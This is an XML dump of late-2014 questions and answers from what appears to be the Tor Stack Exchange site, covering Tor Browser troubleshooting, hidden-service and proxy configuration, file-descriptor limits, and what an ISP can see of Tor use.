  <row Id="4704" PostTypeId="1" CreationDate="2014-11-30T16:05:53.170" Score="1" ViewCount="5644" Body="&lt;p&gt;I use Windows 7 64 bit on a premium computer running Windows 7 64 bit with 1 TB HDD 8GB RAM Core i7, so no reason for me to run into any problem. Tor installs itself on my desktop. However, when I try to go to a website it crashes after a few minutes.  I uninstalled and reinstalled Tor. If you have written a software fix to prevent this happening in future please tell me where I can download it and how I can install it on my Tor Browser. Thank you &lt;/p&gt;&#xA;" OwnerUserId="3739" LastEditorUserId="88" LastEditDate="2014-12-05T21:31:22.307" LastActivityDate="2017-08-31T06:19:19.177" Title="Tor crashes while browsing" Tags="|tor-browser-bundle|windows|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4705" PostTypeId="2" ParentId="3364" CreationDate="2014-12-01T11:17:57.487" Score="2" Body="&lt;p&gt;If you really need to use FB via Tor, I strongly recommend you to use the onion version of FB through this link: &lt;a href=&quot;https://facebookcorewwwi.onion&quot; rel=&quot;nofollow&quot;&gt;https://facebookcorewwwi.onion&lt;/a&gt; which will not cause any location-error.&lt;/p&gt;&#xA;" OwnerUserId="5202" LastEditorDisplayName="user5" LastEditDate="2014-12-01T13:42:45.130" LastActivityDate="2014-12-01T13:42:45.130" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4706" PostTypeId="1" CreationDate="2014-12-01T13:47:25.607" Score="1" ViewCount="708" Body="&lt;p&gt;I'm using &lt;a href=&quot;http://sourceforge.net/p/silvertunnel-ng/wiki/Home/&quot; rel=&quot;nofollow&quot;&gt;silvertunnel-ng&lt;/a&gt; package, I managed to get the example provided &lt;a href=&quot;http://sourceforge.net/p/silvertunnel-ng/wiki/Sample%20Code%20%3A%20Check%20if%20Tor%20Connection%20works/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; working. but when I change the link to facebook or google pages, I get empty response.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not quite sure what am I doing wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any help will be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="5203" LastActivityDate="2015-04-02T17:55:34.987" Title="Tor in Java using silvertunnel-ng" Tags="|tails|tor-cloud|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4708" PostTypeId="1" CreationDate="2014-12-01T17:02:29.650" Score="6" ViewCount="1206" Body="&lt;p&gt;I am using centos 7 and apache with the latest version of Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I add a second HiddenServiceDir line to the torrc file, not only does the second (or third or fourth) service not work, it also makes my first service stop working. I have looked everywhere I could think of and read every guide I can find for answers, but I can't figure it out. Please help!&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;This is what I have added to  /etc/httpd/conf/httpd.conf&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Listen 80&#xA;&#xA;Listen 127.0.0.1:6986&#xA;Listen 127.0.0.1:7786&#xA;&#xA;&amp;lt;VirtualHost 127.0.0.1:6986&amp;gt;&#xA;   ServerName mydomain2.onion&#xA;   DocumentRoot /var/www/mysite2/public_html&#xA;&amp;lt;/VirtualHost&amp;gt;&#xA;&#xA;&amp;lt;VirtualHost 127.0.0.1:7786&amp;gt;&#xA;  ServerName mydomain3.onion&#xA;  DocumentRoot /var/www/mysite3/public_html&#xA;&amp;lt;/VirtualHost&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;This is what I have added to  /etc/tor/torrc&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/lib/tor/mysite1/&#xA;HiddenServicePort 80 127.0.0.1:80&#xA;&#xA;HiddenServiceDir /var/lib/tor/mysite2/&#xA;HiddenServicePort 6986 127.0.0.1:6986&#xA;&#xA;HiddenServiceDir /var/lib/tor/mysite3/&#xA;HiddenServicePort 7786 127.0.0.1:7786&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As guides I am using seem to differ on this point, I have also tried it with the serviceport lines like: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;HiddenServicePort 80 127.0.0.1:6986&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I put #s in front of the four last lines, the first one goes right back to working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for looking at my question. Any suggestions will be very much appreciated. &lt;/p&gt;&#xA;" OwnerUserId="5207" LastEditorUserId="923" LastEditDate="2014-12-01T17:07:18.220" LastActivityDate="2015-03-01T19:01:30.827" Title="What am I doing wrong? Attempting to host multiple Tor hidden services on one server" Tags="|onion-services|help|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4709" PostTypeId="2" ParentId="4708" CreationDate="2014-12-01T17:52:47.473" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;it also makes my first service stop working&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This indicates that the problem is with your Tor, not with your web server. You should be able to confirm this by connecting directly to your web server from the same host.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does your Tor successfully start up at all? Check your Tor log file to see if it complains about anything related to hidden services. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My best guess would be ownership and/or permissions on your hidden service directories. (Should be 700 or &lt;code&gt;drwx------&lt;/code&gt;) Did you have Tor generate your keys or did you copy your own private keys or even hostname files into them? If you copied them in, make sure they have correct ownership and permissions as well. (Should be 600 or &lt;code&gt;-rw-------&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just some suggestions:&lt;br&gt;&#xA;The port for your HS and the port it connects to don't have to be the same. You can do &lt;code&gt;HiddenServicePort 80 127.0.0.1:7786&lt;/code&gt; for example. This way, your users don't have to specify a port number and just connect to 80. You can have multiple onions use the same port number.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the Apache side, you can also use the same port number for multiple &lt;code&gt;VirtualHost&lt;/code&gt;s, since they have different &lt;code&gt;ServerName&lt;/code&gt;s.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2014-12-01T17:52:47.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4710" PostTypeId="2" ParentId="4692" CreationDate="2014-12-01T19:41:27.100" Score="1" Body="&lt;p&gt;You're most likely hitting the cap for the number of open file descriptors on your operating system.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Linux&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To see the number of descriptors currently in use (on a machine with the &lt;code&gt;/proc&lt;/code&gt; filesystem), you can look at the &lt;code&gt;/proc/sys/fs/file-max&lt;/code&gt; virtual device:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ cat /proc/sys/fs/file-max &#xA;792823&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sysctl fs.file-max&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and to check the actual limit (&lt;code&gt;-H&lt;/code&gt; is the hard limit, &lt;code&gt;-S&lt;/code&gt; is the soft limit) run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ulimit -Hn&#xA;4096&#xA;$ ulimit -Sn&#xA;1024&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as the user for which you want to check the limit.&#xA;To change this on Linux, edit the &lt;code&gt;/etc/sysctl.conf&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fs.file-max = 100000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll need to log out and back in, or run &lt;code&gt;sysctl -p&lt;/code&gt; for the changes to take effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To change the FD limit for a specific user, look in the &lt;code&gt;/etc/security/limits.conf&lt;/code&gt; file and add lines like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;username soft nofile 4096&#xA;username hard nofile 10240&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;BSD&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;On BSD based systems, the sysctl variable is called &lt;code&gt;kern.maxfiles&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sysctl kern.maxfiles&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;OS X&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To check the limit on OS X run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;launchctl limit maxfiles&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and look at the last two columns (soft and hard limits respectively).&#xA;To change the limits create a property list at: &lt;code&gt;/Library/LaunchDaemons/limit.maxfiles.plist&lt;/code&gt; and add the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;&amp;lt;!DOCTYPE plist PUBLIC &quot;-//Apple//DTD PLIST 1.0//EN&quot; &quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&quot;&amp;gt;&#xA;&amp;lt;plist version=&quot;1.0&quot;&amp;gt;&#xA;  &amp;lt;dict&amp;gt;&#xA;    &amp;lt;key&amp;gt;Label&amp;lt;/key&amp;gt;&#xA;      &amp;lt;string&amp;gt;limit.maxfiles&amp;lt;/string&amp;gt;&#xA;    &amp;lt;key&amp;gt;ProgramArguments&amp;lt;/key&amp;gt;&#xA;      &amp;lt;array&amp;gt;&#xA;        &amp;lt;string&amp;gt;launchctl&amp;lt;/string&amp;gt;&#xA;        &amp;lt;string&amp;gt;limit&amp;lt;/string&amp;gt;&#xA;        &amp;lt;string&amp;gt;maxfiles&amp;lt;/string&amp;gt;&#xA;        &amp;lt;string&amp;gt;65536&amp;lt;/string&amp;gt;&#xA;        &amp;lt;string&amp;gt;65536&amp;lt;/string&amp;gt;&#xA;      &amp;lt;/array&amp;gt;&#xA;    &amp;lt;key&amp;gt;RunAtLoad&amp;lt;/key&amp;gt;&#xA;      &amp;lt;true/&amp;gt;&#xA;    &amp;lt;key&amp;gt;ServiceIPC&amp;lt;/key&amp;gt;&#xA;      &amp;lt;false/&amp;gt;&#xA;  &amp;lt;/dict&amp;gt;&#xA;&amp;lt;/plist&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Modifying the properties as necessary. Then create &lt;code&gt;/Library/LaunchDaemons/limit.maxproc.plist&lt;/code&gt; with the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;&amp;lt;!DOCTYPE plist PUBLIC &quot;-//Apple/DTD PLIST 1.0//EN&quot; &quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&quot;&amp;gt;&#xA;&amp;lt;plist version=&quot;1.0&quot;&amp;gt;&#xA;  &amp;lt;dict&amp;gt;&#xA;    &amp;lt;key&amp;gt;Label&amp;lt;/key&amp;gt;&#xA;      &amp;lt;string&amp;gt;limit.maxproc&amp;lt;/string&amp;gt;&#xA;    &amp;lt;key&amp;gt;ProgramArguments&amp;lt;/key&amp;gt;&#xA;      &amp;lt;array&amp;gt;&#xA;        &amp;lt;string&amp;gt;launchctl&amp;lt;/string&amp;gt;&#xA;        &amp;lt;string&amp;gt;limit&amp;lt;/string&amp;gt;&#xA;        &amp;lt;string&amp;gt;maxproc&amp;lt;/string&amp;gt;&#xA;        &amp;lt;string&amp;gt;2048&amp;lt;/string&amp;gt;&#xA;        &amp;lt;string&amp;gt;2048&amp;lt;/string&amp;gt;&#xA;      &amp;lt;/array&amp;gt;&#xA;    &amp;lt;key&amp;gt;RunAtLoad&amp;lt;/key&amp;gt;&#xA;      &amp;lt;true /&amp;gt;&#xA;    &amp;lt;key&amp;gt;ServiceIPC&amp;lt;/key&amp;gt;&#xA;      &amp;lt;false /&amp;gt;&#xA;  &amp;lt;/dict&amp;gt;&#xA;&amp;lt;/plist&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then &lt;code&gt;chown&lt;/code&gt; both files to &lt;code&gt;root:wheel&lt;/code&gt; and &lt;code&gt;chmod&lt;/code&gt; them to 644 (&lt;code&gt;-rw-r--r--&lt;/code&gt;). Now restart or run &lt;code&gt;launchctl limit&lt;/code&gt; to apply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For older versions of OS X, &lt;a href=&quot;http://docs.basho.com/riak/latest/ops/tuning/open-files-limit/#Mac-OS-X&quot; rel=&quot;nofollow&quot;&gt;this tutorial&lt;/a&gt; may help.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Solaris&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In solaris, add a line like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;set rlim_fd_max=65536&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to &lt;code&gt;/etc/system&lt;/code&gt; (see &lt;a href=&quot;https://blogs.oracle.com/elving/entry/too_many_open_files&quot; rel=&quot;nofollow&quot;&gt;this blog post&lt;/a&gt; for more info)&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastEditorDisplayName="user5" LastEditDate="2014-12-02T02:02:23.973" LastActivityDate="2014-12-02T02:02:23.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4711" PostTypeId="1" AcceptedAnswerId="4715" CreationDate="2014-12-01T22:45:01.567" Score="3" ViewCount="960" Body="&lt;p&gt;I am in an university that allows students to access internet only during 5pm to 2am. But the great thing is that if you use Tor and do not disconnect, you will still have internet connectivity after 2am for as long as your Tor remain connected. So, what I do is that I connect to Tor at night when the internet is working and keep my laptop on all night just to keep my internet working for the morning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I am looking for a better ways to do this in which I don't have to keep my laptop on for the whole night just to make sure I don't lose Tor connectivity. I thought about hibernating my computer keeping Tor connected and expected to be connected to Tor in the morning but that didn't worked. But I observed that this trick works for short period of time say 3,5 minutes. Keeping it hibernated for long, it loses Tor connectivity and I am left with no internet in the morning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am desperately looking for a solution to this problem. I need internet to be productive. I am a computer science student but believe it or not the university administration doesn't provide internet all the time because of complaints from other student's parents. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, that's another story. So, if anyone could help me with this issue I would be very grateful. All I want is some way through which I can keep my Tor connection maintained even after powering off my machine so after I switch it on after long time I still have the connection to Tor established.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Technical Details:&#xA;In order for me to connect to the internet I have to configure my browser to use the HTTPS proxy on 172.16.12.2:3128. The internet doesn't works otherwise. The same goes for Tor. In order to connect to Tor I need to configure it to use it with these proxy settings, otherwise it doesn't works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help! I have come a long way for this. &lt;/p&gt;&#xA;" OwnerUserId="5210" LastEditorUserId="435" LastEditDate="2014-12-02T17:05:19.157" LastActivityDate="2015-11-18T20:14:15.833" Title="How to never lose connectivity to Tor after hibernating the computer?" Tags="|help|censorship|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4712" PostTypeId="1" CreationDate="2014-12-02T08:15:06.513" Score="2" ViewCount="212" Body="&lt;p&gt;Building a new relay may produce new traffic, is it any different with the Tor browser data through Tor, and does the adversay notice I'm building a new relay?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am asking whether my ISP will know when one or more of the relays in a Tor circuit has changed while I'm using the Tor Browser? &lt;/p&gt;&#xA;" OwnerUserId="5212" LastEditorUserId="5216" LastEditDate="2014-12-02T17:05:12.060" LastActivityDate="2014-12-02T23:55:40.763" Title="Do my ISP notice the relay changing?" Tags="|tor-browser-bundle|relays|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4713" PostTypeId="2" ParentId="4712" CreationDate="2014-12-02T09:23:59.997" Score="1" Body="&lt;p&gt;Yes, your ISP will know that you run a relay. (If you don't want that, consider running a bridge instead.)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Although the traffic will look the same when you are running a Tor relay as when you are merely using the Tor Browser, the amount and direction of the traffic will change. When you use Tor Browser, your Tor is only a client. You will have little traffic 'up' (relatively small requests) and more traffic 'down' (the requested content). When you run a relay, the amount of traffic up and down is much closer together. This will indicate that you run a relay.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) The list of relays and their IP addresses is public.&lt;/p&gt;&#xA;" OwnerUserId="350" LastEditorUserId="923" LastEditDate="2014-12-02T15:56:25.637" LastActivityDate="2014-12-02T15:56:25.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4714" PostTypeId="2" ParentId="4692" CreationDate="2014-12-02T09:35:39.870" Score="1" Body="&lt;p&gt;&lt;em&gt;I only find links to a site that is no longer available&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Are you running on a &quot;virtual server&quot; by any chance?&#xA;  &lt;a href=&quot;http://wiki.noreply.org/noreply/TheOnionRouter/TorFAQ#VServer&quot; rel=&quot;nofollow&quot;&gt;http://wiki.noreply.org/noreply/TheOnionRouter/TorFAQ#VServer&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;leads to 404&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but&#xA;&lt;em&gt;google TorFAQ#VServer&lt;/em&gt;&#xA;gives&#xA;&lt;a href=&quot;https://www.torproject.org/docs/faq#VirtualServer&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/faq#VirtualServer&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then another google gives in Tor installation guides :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ConstrainedSockets 0|1&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If set, Tor will tell the kernel to attempt to shrink the buffers for all sockets to the size specified in ConstrainedSockSize. This is useful for virtual servers and other environments where system level TCP buffers may be limited. If you’re on a virtual server, and you encounter the &quot;Error creating network socket: No buffer space available&quot; message, you are likely experiencing this problem.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The preferred solution is to have the admin increase the buffer pool for the host itself via /proc/sys/net/ipv4/tcp_mem or equivalent facility; this configuration option is a second-resort.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The DirPort option should also not be used if TCP buffers are scarce. The cached directory requests consume additional sockets which exacerbates the problem.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You should not enable this feature unless you encounter the &quot;no buffer space available&quot; issue. Reducing the TCP buffers affects window size for the TCP stream and will reduce throughput in proportion to round trip time on long paths. (Default: 0)&#xA;  ConstrainedSockSize N bytes|KBytes&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;When ConstrainedSockets is enabled the receive and transmit buffers for all sockets will be set to this limit. Must be a value between 2048 and 262144, in 1024 byte increments. Default of 8192 is recommended.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;BUT on my vserver from OneAndOne (1&amp;amp;1, germany), cheap offer is very very very limited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;first, IPTABLES rules number and -j target are extremely limited (not LOG for example).&#xA;but also the network conf is limited&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do a &lt;strong&gt;#watch cat /proc/user_beancounters&lt;/strong&gt;&#xA;and watch for &lt;strong&gt;numtcpsock&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When it hits the limit, error messages appears (use arm to monitor tor) and any webserver mail server will go mad.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One&amp;amp;One puts a limit of 360 tcpsock. Hit in 5 minutes !!!&lt;/p&gt;&#xA;" OwnerUserId="5213" LastEditorDisplayName="user5" LastEditDate="2014-12-02T17:08:10.887" LastActivityDate="2014-12-02T17:08:10.887" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4715" PostTypeId="2" ParentId="4711" CreationDate="2014-12-02T12:28:49.080" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Now I am looking for a better ways to do this in which I don't have to keep my laptop on for the whole night just to make sure I don't lose Tor connectivity. I thought about hibernating my computer keeping Tor connected and expected to be connected to Tor in the morning but that didn't worked.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;On hibernation, the contents of your volatile storage (RAM) is written to non-volatile storage (the harddisk/ssd) and the computer is fully powered off.  This means that the open TCP/IP connection to the Tor network (or any network for that matter) will eventually time out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This isn't really specific to Tor, since expecting connections to persist when a computer is off for extended periods of time isn't really realistic.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;All I want is some way through which I can keep my Tor connection maintained even after powering off my machine so after I switch it on after long time I still have the connection to Tor established.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No such thing exists.  You could consider using a low powered single board computer (Eg: A &lt;a href=&quot;http://beagleboard.org/black&quot; rel=&quot;nofollow&quot;&gt;BeagleBone Black&lt;/a&gt;) as an anonymizing router, and leaving that on, but the fact that you will still have a computer on does not change.&lt;/p&gt;&#xA;" OwnerDisplayName="user78" LastActivityDate="2014-12-02T12:28:49.080" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4717" PostTypeId="1" CreationDate="2014-12-02T17:22:00.360" Score="2" ViewCount="55" Body="&lt;p&gt;As far as I read,  using TorBrowser with Tails, it's better than using only Tor, because Tails doesn't store any data on the Hard Disk, and because of leaks related to services running in background when using Mac Os, Windows, and so on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since anonymity is not priority, If I decided to use a Mac_Os as a host and install VirtualBox to run Tails as a guest, my question is: What are the risks of someone getting access to my document files or get root access?&lt;/p&gt;&#xA;" OwnerUserId="5218" LastEditorUserId="923" LastEditDate="2014-12-03T11:23:59.897" LastActivityDate="2014-12-03T11:23:59.897" Title="If use virtualization, How possible is to get access to document files or get root access?" Tags="|tails|information-leaks|virtualisation|" AnswerCount="0" CommentCount="1" ClosedDate="2014-12-02T17:51:15.490" ContentLicense="CC BY-SA 3.0" />
  <row Id="4718" PostTypeId="2" ParentId="4712" CreationDate="2014-12-02T23:55:40.763" Score="2" Body="&lt;p&gt;(I think you mean building &lt;em&gt;circuits&lt;/em&gt; not &lt;em&gt;relays&lt;/em&gt;.)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When using the Tor browser, your ISP can tell that you use Tor.&lt;br&gt;&#xA;Your Tor client builds a bunch (15?) of circuits even before you need them. When a circuit is used it times out after 10 minutes.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only connection your ISP can see is from your Tor client to your Guard node. This is how they can tell that you use Tor. &lt;strong&gt;As long as you keep using the same guard, your ISP can not tell when you connect to different middle and exit nodes.&lt;/strong&gt; I don't know what the guard rotation period is, but it is &lt;em&gt;much&lt;/em&gt; longer than 10 minutes. (I think 'weeks'. I'm sure someone knowledgable can tell, and also correct me where I have the numbers wrong.)&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2014-12-02T23:55:40.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4719" PostTypeId="1" CreationDate="2014-12-03T03:44:53.970" Score="3" ViewCount="526" Body="&lt;p&gt;Basically I have OpenVPN server and I would like to configure it so that clients that connect to OpenVPN are then connected to the Tor network on the server are able to browse hidden services and access clearnet via exit nodes. Is this possible, if so how? I am now running OpenVPN and Tor on CentOS.&lt;/p&gt;&#xA;" OwnerUserId="5221" LastEditorUserId="923" LastEditDate="2014-12-03T11:18:45.237" LastActivityDate="2021-08-30T10:30:31.800" Title="Can I use Tor for clients that are connected via OpenVPN?" Tags="|onion-services|openvpn|clear-net|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4720" PostTypeId="1" CreationDate="2014-12-03T03:54:56.590" Score="1" ViewCount="1133" Body="&lt;p&gt;I have set Polipo to accept remote hosts and I made it go through 9050 (tor). Now if I use that proxy in my browser on some websites like whatismyipaddress.com I can see that I am accessing it through Tor Exit node, but check.torproject.org tells me that I am not using Tor, and I cannot browse hidden services. Can I access hidden services with this setup?&#xA;Here is my polipo config:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;daemonise = true&#xA;pidFile = /var/run/polipo/polipo.pid&#xA;proxyAddress = &quot;0.0.0.0&quot;    # IPv4 only&#xA;proxyPort = 3128&#xA;socksParentProxy = &quot;localhost:9050&quot;&#xA;socksProxyType = socks5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is torrc:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SocksPort 9050 &#xA;Log notice file /var/log/tor/notices.log&#xA;Log debug file /var/log/tor/debug.log&#xA;RunAsDaemon 1&#xA;ControlPort 9051&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5221" LastActivityDate="2014-12-03T12:15:44.097" Title="Can I set remote HTTP proxy connection to Tor?" Tags="|web-proxy|polipo|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4721" PostTypeId="2" ParentId="4720" CreationDate="2014-12-03T12:15:44.097" Score="1" Body="&lt;p&gt;Have you tried with SOCKS 4a on Polipo config ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From Tor FAQ, &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#AccessHiddenServices&quot; rel=&quot;nofollow&quot;&gt;How do I access hidden services?&lt;/a&gt; :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Some applications, such as the browsers Mozilla Firefox and Apple's Safari, support sending DNS queries to Tor's SOCKS 5 proxy. Most web browsers don't support SOCKS 4a very well, though. The workaround is to point your web browser at an HTTP proxy, and tell the HTTP proxy to speak to Tor with SOCKS 4a. We recommend Polipo as your HTTP proxy. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3825" LastActivityDate="2014-12-03T12:15:44.097" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="4722" PostTypeId="2" ParentId="4685" CreationDate="2014-12-03T12:38:45.413" Score="1" Body="&lt;p&gt;i'm programming in python an application related to Tor with stem library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when i create new paths sometimes the guard node (entry) belongs to the same family (group of servers) as the exit node.&#xA; This is close to your case&#xA;the main problem that carries in both cases the connections can be analyzed based on time responses and patterns and being 'uncovered'.&#xA;Exist many studies about it, this is the last one i found and the newest, &lt;a href=&quot;https://mice.cs.columbia.edu/getTechreport.php?techreportID=1545&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;actually this can be an answer to your question : What is the risk of guard relay and exit relay being one and the same?&lt;/p&gt;&#xA;" OwnerUserId="3825" LastEditorUserId="3825" LastEditDate="2014-12-03T22:38:01.127" LastActivityDate="2014-12-03T22:38:01.127" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4724" PostTypeId="1" CreationDate="2014-12-03T18:54:22.913" Score="1" ViewCount="6986" Body="&lt;p&gt;IDM CC which is used to work fine with Mozilla browser, is not working in Tor browser, even though it is successfully installed in Tor browser. For an example, when a video is being played the IDM download extension is not coming up.&lt;/p&gt;&#xA;" OwnerUserId="5227" LastActivityDate="2015-01-06T03:04:29.013" Title="IDM CC extension is not working in Tor browser" Tags="|tor-browser-bundle|anonymity|security|configuration|browsers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4725" PostTypeId="1" CreationDate="2014-12-03T18:54:34.613" Score="1" ViewCount="3499" Body="&lt;p&gt;Thank you for reading my question and taking an interested in helping me. I use the newest version of Tor on a Mac and the thing is when I download Tor, I do not end up with a &quot;tor folder.&quot; I am interested as to how I can run multiple Tor browsers at once but each having a different IP. I did look through the other very informative threads, but as I said - I do not have a Tor Folder. Upon installation, all I end up with is the browser it self.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was also interested as to how I can alter the IPs for them to be only from the United States. I followed all directions I found on threads by using torrc file and adding the needed text, but no luck at all! If you can also help me out with programing Tor to only show US IPs, I would highly appreciate it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your time and care. I wish nothing but harmony, luck and the best of all blessings. &lt;/p&gt;&#xA;" OwnerUserId="5228" LastActivityDate="2015-03-11T08:29:05.940" Title="How to Run Many Tor Browsers at once all with different IPs?" Tags="|tor-browser-bundle|configuration|geoip|" AnswerCount="3" CommentCount="0" FavoriteCount="0" ClosedDate="2015-11-18T13:26:36.810" ContentLicense="CC BY-SA 3.0" />
